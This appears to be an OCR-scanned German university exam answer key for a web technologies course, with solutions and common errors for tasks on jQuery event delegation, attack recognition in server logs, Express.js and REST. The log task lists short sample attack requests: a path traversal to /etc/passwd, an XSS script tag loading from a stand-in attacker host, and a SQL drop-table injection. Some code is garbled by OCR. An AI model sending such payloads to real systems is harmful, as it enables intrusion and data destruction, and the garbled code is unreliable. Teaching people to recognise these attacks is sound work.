Unter https://vm009.rz.uos.de/wtklsr19a/jx/ werden standig SPAM-Nachrichten per Ajax
nachgeladen.

Definieren Sie Uber die Javascript-Konsole einen Event-Handler, der jedes akutelle und zukiinftige
(per Ajax nachgeladenen) DIV der CSS-Klasse 'spam’ einzeln per Klick verschwinden lasst.

Verwenden Sie dazu moglichst kompakten jQuery-Code. jQuery ist auf der Seite bereits geladen ist!
(Dokumentation: https://api.jquery.com/)

Bewertungshinweise:

o Wegklicken funktioniert fiir die bereits vorhandene Nachricht (4 Punkte)
o  Wegklicken funktioniert fir nachgeladene Nachrichten (4 Punkte)
e jQuery-Code moglichst kompakt (2 Punkte)
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https://vm009.rz.uos.de/wtklsr19a/jx/
https://api.jquery.com/

Losung

$ (document) .on("click", ".spam", function () { $(this).remove();});

LOsungsweg

Spam-Machine

Aufgabe: Definiere iiber die Javascript-Konsole einen Event-Handler, der jedes (akutelle und zukiinftige, per Ajax nachgeladenen) DIV
der CSS-Klasse 'spam’ einzeln per Klick verschwinden lésst. Verwende jQuery! (https://api.jquery.com/)

Ich bin eine Nachricht. Klick mich, und ich bin weg.

Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and Spam

Spam, bacon, sausage and Spam

Ansicht nach 10 Sekunden (zwei Nachrichten wurden nachgeladen).

Ein Blick in den Browser-Quellcode offenbart folgenden HTML/Javascript-Code:

<!DOCTYPE HTML>
<html>
<head>
<title>Spam-Machine</title>
<style>.spam {border: lpx solid black; margin:lem; padding: lem;
background: yellow; </style>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</head>
<body>
<hl>Spam-Machine</h1>

Aufgabe: Definiere {iber die Javascript-Konsole einen Event-Handler, der
jedes (akutelle und zukiinftige, per Ajax nachgeladenen) DIV der CSS-Klasse
'spam' einzeln per Klick verschwinden l&sst. Verwende jQuery! (<a
href="https://api.jquery.com/">https://api.jquery.com/</a>)

<div id="spam">
<div class="spam">
Ich bin eine Nachricht. Klick mich, und ich bin weg.
</div>

</div>

<script>
S (function () {
setInterval (
function () { $.ajax({ url: "spam.php", success: function (data) {
$ ("#spam") .append(data); }})},
5000) ;
)z
</script>

</body>
</html>
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view-source:https://code.jquery.com/jquery-3.3.1.min.js
view-source:https://api.jquery.com/

Die Datei spam.php ist nicht einsehbar, sie liefert (wie ggf. iber den Netzwerk-Reiter oder direkte
Aufrufe Uberpriift werden konnte) je ein HTML-Fragment (div mit der CSS-Klasse "spam" und einem
zuféllig ausgewahlten Satz.

Die Losung konnte dann zweischrittig entwickelt werden:

1. Einrichten eines Event-Handlers, um eine einzelne Nachricht zu entfernen: Hierzu muss ein
Click-Event fir die Nachricht abgefangen werden und die Nachricht (= das Event-Target)
entfernt werden. jQuery vereinfacht sowohl das Registrieren von Event-Handlern als auch
typische DOM-Manipulationen wie das Entfernen von Elementen, so dass eine Zeile wie:

$(".spam") .click (function () { $(this).remove();});

auch mit geringen jQuery-Kenntnissen mithilfe der jQuery-Dokumentation herleitbar
gewesen sein sollte. Auch ohne jQuery war dieser Teil leicht umsetzbar und mehrfach in
Aufgaben und Beispielen vorhanden.

2. Behandlung noch nicht vorhandener Nachrichten. Die entscheidende Idee hier ist, den Event-
Handler an einem Parent-Element zu registrieren (document, body oder auch #spam) und
dann im Handler zu priifen, ob eine Nachricht Ziel des Click-Events war. (Beispielcode dafur
war bei Blatt 4 z.B. vorgegeben) jQuery vereinfach diesen Schritt ebenfalls, indem die on-
Methode neben dem Event (click) einen Sub-Selektor und die Callback-Funktion tibergeben
bekommt.

Haufige Fehler

Am haufigsten wurde der zweite Teil der Losung nicht, nicht vollstandig oder nicht korrekt gelost,
weil die oben unter 2. geschilderten Ideen nicht gefunden wurden.

Technische Aspekte

Neben der oben schon wiedergegebenen HTML-Datei index.html ist noch folgende PHP-Datei
spam.php verwendet worden:

<?php

Soptions = array/(

"Egg and bacon",

"Egg, sausage and bacon",

"Egg and Spam",

"Egg, bacon and Spam",

"Egg, bacon, sausage and Spam",

"Spam, bacon, sausage and Spam",

"Spam, egg, Spam, Spam, bacon and Spam",

"Spam, Spam, Spam, egg and Spam",

"Spam, Sausage, Spam, Spam, Spam, Bacon, Spam, Tomato and Spam",
"Spam, Spam, Spam, Spam, Spam, Spam, baked beans, Spam, Spam, Spam and
Spam",

"Lobster Thermidor aux crevettes with a Mornay sauce, garnished with
truffle padté, brandy and a fried egg on top, and Spam."

) ;

echo "<div class='spam'>".Soptions[array rand($options)]."</div>";
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10. Angriffe (zu Kapitel 8, 10 Punkte)

Aufgabenstellung

Als Praktikant bei einem Webserverbetrieber bekommen Sie die undankbare Aufgabe, Logdateien
nach verdachtigen Requests zu durchsuchen, die Angriffe darstellen kdnnten. In den Logdateien sind
u.a. die vollstdandigen Request-URIs enthalten. (Einige Aktionen, die man typischerweise tiber POST-
Requests abbilden wiirde, sind hier (iber GET-Requests geldst, damit die Parameter in den URIs
auftauchen). Ordnen Sie Request-URlIs, die verdachtig aussehen, bzw. generelle Aussagen den
zugehorigen Angriffsszenarien zu. (5 Antwortmoglichkeiten bleiben Gbrig)

Losung
vorgegebener richtige Antwort
Text
1. | Path Traversal GET /wiki/show/%2Fetc%$2Fpasswd

2. | XSS (Cross-Site- | CET

/wiki/save/main?text=%3Cscript%20src%3D%22etislive.com%2Fkca

Scripting) tta%225%3E%3C32Fscripts3E

3. Sp@Ci&' Character GET /wiki/main/comment?txt=%27%3Bdrop%20table%20user$3B——
Injection

4. | Session Fixation GET /wiki? sessid=d7383b9%e-6a21-4bal0-8e9c-b0284679e784

5. | CSRF In dieser Form von Log-Files prinzipiell nicht erkennbar

Antwortmaoglichkeiten:

i

GET
/wiki/save/main?text=%3Cscript%20src%3D%22etislive.com%2Fkcatta%22%3E%3C%2Fscript%3E
GET /wiki/show/%2Fetc%2Fpasswd

In dieser Form von Log-Files prinzipiell nicht erkennbar
GET /wiki/show/<img src="logout.php">

GET /wiki/delete

Angriff kann nicht itber Requests erfolgen

GET /wiki/admin/create user?name=tobias&pwd=frikadelle
GET /wiki/main/comment?txt=%27%3Bdrop%20table%20users3B--
GET /wiki/show/main

0. GET /wiki? sessid=d7383b9%e-6a2l-4ba0-8e9c-b0284679e784

P O o Jo Und Wi

LOsungsweg

Hier war jeweils zu Gberlegen: Welche der angebotenen Losungsmoglichkeiten stellt am ehesten
einen eindeutigen, gewollten Versuch dar, eine evtl. Liicke der beschriebenen Art auszunutzen?
Wichtig ist, nicht ,,zu kompliziert” zu denken und keine weitreichenden Zusatzannahmen zu treffen.

Haufige Fehler

Der CSRF-Liicke wurde haufig eine falsche Losungsmaoglichkeit, z.B. GET

/wiki/admin/create user?name=tobias&pwd=frikadelle zugeordnet. Dies kdnnte zwar
ein CSRF-Angriff sein, aber der Request ist nicht spezifisch, da CSRF-Angriffe legale Requests sind, die
nicht von korrekten und intendierten unterschieden werden kénnen. (Es sei denn, der Angreifer
wirde eine URL versuchen, die gar nicht zulassig ist 0.4. — damit ware aber ein weitreichende
Zusatzannahme getroffen).
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11. Express-Kommentierung (zu Kapitel 10, 10 Punkte)

Aufgabenstellung

Fugen Sie zu jeder Zeile der angegebenen (funktionierenden!) Express.js-Anwendung einen
knappen und moglichst spezifischen Kommentar hinzu.

const express = require('express');
const app = express();

app.use (function (req, res, next) {
console.log(reg.method+" "+reqg.url);
next () ;

app.get ('/', function (req, res, next) {
res.send ('Welcome Home');

app.use (function (req, res, next) {
res.status (201+203) ;
res.send ('201+203 ;-(");

app.listen(3000);

Losung

const express = require('express'); // express-Framework laden
const app = express(); // ... und initialisieren

app.use (function (req, res, next) { // Logging-Middleware registrieren
console.log(reg.method+" "+reqg.url);
// Methode und Pfad auf Konsole ausgeben (Log-Funktion)
next (); // Nachste Middleware oder Route

app.get ('/', function (req, res, next) { // Route fiir / registrieren
res.send('Welcome Home') ;
// Text als Antwort senden, Request nicht weiterverarbeiten

app.use (function(req, res, next) {
// Middleware fiir noch nicht behandelte Routen registrieren
res.status (201+203); // Status 404
res.send ('201+203 ;-("); // ... und zugehbrigen Text senden

app.listen(3000); // Auf Verbindungen an Port 3000 warten

Bewertung: Je zu kommentierender Zeile 1 Punkt
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LOsungsweg

Der erste Schritt muss sein, die Grundstruktur der Anwendung nachzuvollziehen:
1. Welche Routen werden registriert und was tun sie?
2. Welche Middleware und Fehlerbehandlungen werden definiert?

Sodann ist innerhalb der Callback-Funktionen nachzuvollziehen, was die jeweilige Funktion leistet.

Haufige Fehler

e Am haufigsten wurde die ,Middleware fiir noch nicht behandelte Routen” nicht als solche
erkannt, sondern z.T. als Fehlerbehandlung bezeichnet wurde, oder als Funktion, die immer
aufgerufen wird und damit die get-Route wirkungslos werden lieRRe. Z.T. wurde nicht
erkannt, dass 201+203 eine Integer-Addition darstellt und 404 ergibt (zugegeben, kein
realistischer Javascript-Code...)

12. ReSTful application (Kapitel 11, 10 Punkte)

Aufgabenstellung

Eine Webanwendung sei nach den Prinzipien einer "RESTful Application" implementiert und in der
Nutzung der Anwendung trete z.B. folgende Kommunikation auf:

Request:

GET /users/81022080

Response:

HTTP/1.1. 200 OK
Content-Type: application/json
Content-Length: 107

{"id":"/users/81022080", "name":"Fritz Meier", "street":"Waldstr. 8",
"zipcode":"49716", "place":"Meppen"}

Aufgabe:

Geben Sie einen vollstandigen Request an, mit dem Sie die Postleitzahl (zipcode) von Fritz Meier auf
49722 andern.

Losung

PUT /users/81022080 HTTP/1.1
Host: www.restfulapp.test
Content-Type: application/json
Content-Length: 107

{"id":"/users/81022080", "name":"Fritz Meier", "street":"Waldstr. 8",
"zipcode":"49722", "place":"Meppen"}
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Bewertungsschema:

o Kopfzeile korrekt: PUT, ressourcenidentifizierende URL (3)
e Host angegeben (1)

e Content-Type application/json korrekt angegeben (2)

e JSON als Reprasentation (2)

e neue PLZ korrekt angegeben (2)
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